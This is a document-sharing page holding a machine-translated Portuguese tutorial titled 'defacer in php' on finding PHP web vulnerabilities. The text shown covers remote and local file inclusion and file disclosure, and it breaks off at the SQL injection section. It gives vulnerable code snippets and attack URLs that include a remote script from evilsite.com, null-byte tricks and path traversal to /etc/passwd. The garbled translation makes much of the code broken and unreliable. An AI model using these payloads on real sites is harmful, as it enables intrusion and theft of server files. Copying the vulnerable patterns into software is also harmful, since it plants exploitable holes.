defacer in php

Download Defacer in Php

If you can't read please download the document

Upload: h4wk

Post on 27-Jun-2015

114 views

Category:

Documents


0 download

TRANSCRIPT

1) Sobre o 2) Algumas coisas 3) Incluso de arquivo remoto 3.0 - exemplo bsico 3.1 - Exemplo simples 3.2 - Como a correo 4) Incluso de arquivos locais 4.0 - exemplo bsico 4.1 - Exemplo simples 4.2 - Como a correo 5) Divulgao Arquivo Local / Download 5.0 - exemplo bsico 5,1 - Exemplo simples 5.2 - Como a correo 6) injeo de SQL 6.0 - exemplo bsico 6.1 - Exemplo simples 6.2 - Desvio Login SQL 6.3 - Como a correo 7) Manipulao Cookie inseguro 7.0 - exemplo bsico 7.1 - Exemplo simples 7.2 - Como a correo 8) A execuo de comandos remota 8.0 - exemplo bsico 8.1 - Exemplo simples 8,2 - exemplo avanada 8.3 - Como a correo 9) a execuo remota de cdigo 9.0 - exemplo bsico 9.1 - Exemplo simples 9.2 - Como a correo 10) Cross-Site Scripting 10.0 - exemplo bsico 10.1 - Outro exemplo 10.2 - Exemplo simples 10.3 - Como corrigir 11) Authentication Bypass 11.0 - exemplo bsico 11.1 - Via varivel login 11.2 - CP Admin desprotegidos 11.3 - Como corrigir 12) permisses inseguras 12.0 - exemplo bsico 12.1 - Leia os usurios / senhas 12.2 - Download backups 12.3 - INC arquivos 12.4 - Como corrigir 13) Falsificao Cross Site Request 13.0 - exemplo bsico 13.1 - Exemplo simples 13.2 - Como corrigir 14) Shoutz 1) Neste tutorial vou mostrar como voc pode encontrar vulnerabilidades em scripts .I php no explica como explorar as vulnerabilidades, muito fcil e voc pode encontrar informaes de todo o web.All o exemplos sem o exemplo de base de cada categoria foi fundada em scripts diferent es.

2) Primeiro, instale o Apache, PHP e MySQL em seu computer.Addionally voc pode in stalar o phpMyAdmin. Voc pode instalar o WAMP server, por exemplo, tem tudo em um .. mais vulnerabilid ades necessitam de condies especiais para work.So voc precisa configurar corretamente o arquivo de configurao do PHP (ph p.ini). Eu vou te mostrar o que configurao que eu uso e por qu: safe_mode = off (um monte de merda no pode ser feito com isto em) disabled_functions = N / A (ningum, queremos todos) register_globals = on (que podemos definir as variveis a pedido) allow_url_include = em (por LFI / RFI) allow_url_fopen = on (por LFI / RFI) magic_quotes_gpc = off (isto vai escapar '\ "e NUL, com uma barra invertida e no queremos isso) short_tag_open = on (alguns scripts esto usando tags curtas, no melhor) file_uploads = on (queremos upload) display_errors = on (queremos ver os erros de script, talvez algumas variveis no d eclaradas?) Como proceder: Em primeiro lugar, criar um banco de dados a ser utilizado por di ferentes scripts.Install o script em localhost e iniciar a auditoria sobre a fonte code.If voc encontrou algo abrir o navegador web e test-lo, talvez voc est errado. 3) Incluso de arquivo remoto - Dicas: Voc pode usar o NULLBYTE e? truque. Voc pode usar HTTPS e FTP para contornar os filtros (http filtrada) Em PHP de 4 funes atravs de voc pode incluir cdigo. exigir - require () idntica include (), exceto em caso de falha ir produzir um err o fatal nvel E_ERROR. require_once - idntica require (), exceto o PHP ir verificar se o arquivo j foi inc ludo, em caso afirmativo, para no incluir () Exigir-lo novamente. incluir - inclui e avalia o arquivo especificado. include_once - inclui e avalia o arquivo especificado durante a execuo do script. 3,0 - exemplo bsico - Dicas: alguns programas no aceitam "http" em variveis "http" A palavra to forbbid en voc pode usar "https" ou "ftp". - Trecho de cdigo a partir test.php ----------------------------------------------pagina = $ pagina _GET [']; include $ pagina; ?> ----------------------------------------------- Se temos acesso a pgina que tem alguns erros e alguns avisos (no colado): Notice: Undefined index: pagina em C: \ wamp \ www \ teste.php on line 2 - Podemos ver aqui que "pagina" varivel undeclared.We pode definir qualquer valor

para "pagina" variable.Example: http://127.0.0.1/test.php?pagina=htt...evilscript.txt Agora vou mostrar porque algumas pessoas usam? e 00% aps o link para o script mal . # O "% 00" - Trecho de cdigo a partir test.php ----------------------------------------------pagina = $ pagina _GET [']; include $ pagina.. php '; ?> ----------------------------------------------- Ento, se vamos pedir http://127.0.0.1/test.php?pagina=htt...evilscript.txt No vai funcionar porque o script ir tentar incluir http://evilsite.com/evilscript. txt.php Ento, vamos adicionar um% (NULLBYTE 00) e toda a merda depois nullbyte no ser tomad a em consideration.Example: 00% http://127.0.0.1/test.php?pagina=htt...lscript.txt O script ir incluir o nosso sucesso evilscript e vai jogar para o lixo as coisas aps a nullbyte. # O "? - Trecho de cdigo a partir test.php ----------------------------------------------pagina = $ pagina _GET [']; include $ pagina. logado = 1 '; ?> ----------------------------------------------E o registrado = 1 ir tornar-se como uma melhor utilizao variable.But nullbyte.Exam ple: http://127.0.0.1/test.php?pagina=htt...t.txt?logged=1 O evilscript sero includos com sucesso. 3.1 - Exemplo simples Agora um exemplo de um script. - Trecho de cdigo de index.php ---------------------------------------------------if (isset ($ _REQUEST [""])){ main_content main_content = $ _REQUEST ["main_content"]; ) Else if (isset ($ _SESSION [""])){ main_content _SESSION Main_content = $ ["main_content"]; }

....................... Etc ................. ob_start (); require_once ($ main_content); ---------------------------------------------------Podemos ver que a "varivel" main_content solicitada por $ _REQUEST atacante pode method.The qualquer valor que desejar. Abaixo, a varivel "main_content include.So se fizermo s o Na sequncia do pedido: http://127.0.0.1/index.php?main_cont...evilscript.txt Nosso script mal ser includa com sucesso. 3.2 - Como a correo forma simples: no permitir caracteres especiais em forma variables.Simple: filtro a barra "/". Outra maneira: filtro "http", "https", "ftp" e "smb". 4) Incluso de arquivos locais - Dicas: Voc pode usar o NULLBYTE e? truque. .. / Mdia de um diretrio acima Em sistemas Windows, podemos usar ".. \" em vez de "../". O ".. \" se tornar "5C% .." (urlencoded). As mesmas funes que permitem a incluso (incluir, include_once, exigir, require_once ). 4.0 - exemplo bsico - Trecho de cdigo a partir test.php ---------------------------------- ----------------------------------Agora, no podemos incluir o nosso script, porque no podemos incluir files.We remot o pode incluir apenas arquivos locais que voc see.So se fizermos o seguinte pedido: http://127.0.0.1/test.php?pagina=../.../../etc/passwd O script ir incluir "/ pages / .. / .. / .. / .. / .. / .. / etc / passwd" xito. Voc pode usar os 00% e? . A mesma histria. 4.1 - Exemplo simples - Trecho de cdigo de install / install.php ------------------------------------if (empty ($ _GET ["url"])) $ url = 'step_welcome.php; outro _GET Url = $ ["url"];

............. Etc ............ ------------------------------------Podemos ver que a "varivel" url injectable.If a varivel "url no est definido (Vazio), o script ir incluir "step_welcome.php" seno ir incluir o varivel definida pelo atacante. Ento, se ns fazemos o seguinte pedido: http://127.0.0.1/install/install.php.../../etc/passwd O "etc / arquivo" passwd sero includos com sucesso. 4.2 - Como a correo forma simples: no permitir caracteres especiais em forma variables.Simple: filtra r o ponto "." Outra maneira: Filtro "/", "\" e ". . 5) Divulgao Arquivo Local / Download - Dicas: Com essa vulnerabilidade poder ler o contedo dos arquivos, no incluir. Algumas funes que permitem a leitura de arquivos: file_get_contents - L todo o arquivo em uma string Sadas readfile - um arquivo file - L todo o arquivo em um array fopen - Abre um arquivo ou URL highlight_file - Destaca a sintaxe de um file.Prints ou retornar uma sintaxe destaque verso do cdigo contido em filename com o cores definidas para o built-in Syntax Highlighter para PHP. show_source - Sinnimo de highlight_file () 5.0 - exemplo bsico - Trecho de cdigo a partir test.php -------------------------------------pagina = $ pagina _GET [']; readfile ($ pagina); ?> -------------------------------------O readfile () ir ler o contedo do file.So especificado se fizermos o seguinte pedi do: http://127.0.0.1/test.php?pagina=../.../../etc/passwd O contedo do etc / passwd ser output no sero includas. 5.1 - Exemplo simples - Trecho de cdigo a partir download.php ---------------------------------------------------------------------------------$ File = $ _SERVER ["DOCUMENT_ROOT"]. arquivo $ _REQUEST [']; header ("Pragma: public"); header ("Expires: 0");

header ("Cache-Control: must-revalidao, post-check = 0, pre-check = 0"); header ("Content-Type: application / force-download"); header ("Content-Disposition: attachment; filename =". basename ($ arquivo)); / / Header ("Content-Descrio: File Transfer"); @ Readfile ($ arquivo); die (); ---------------------------------------------------------------------------------A varivel "arquivo unsecure.We ver em primeira linha que solicitado pelo mtodo $ _ REQUEST. E o arquivo divulgada pelo readfile () function.So podemos ver o contedo de um ar quivo arbitrrio. Se fizermos o seguinte pedido: http://127.0.0.1/download.php?file=..../../etc/passwd Assim, podemos ler com sucesso o "etc / arquivo" passwd. 5.2 - Como a correo forma simples: no permitir caracteres especiais em forma variables.Simple: filtra r o ponto "." Outra maneira: Filtro "/", "\" e ". . 6) injeo de SQL

- Dicas: Se o usurio tem privilgios de arquivo que voc pode ler arquivos. Se o usurio tem privilgios de arquivo e voc encontrar um diretrio gravvel e magic_quo es_gpc = off voc pode enviar-lhe o cdigo em um arquivo. 6.0 - exemplo bsico - Trecho de cdigo a partir test.php --------------------------------------------------------------------------------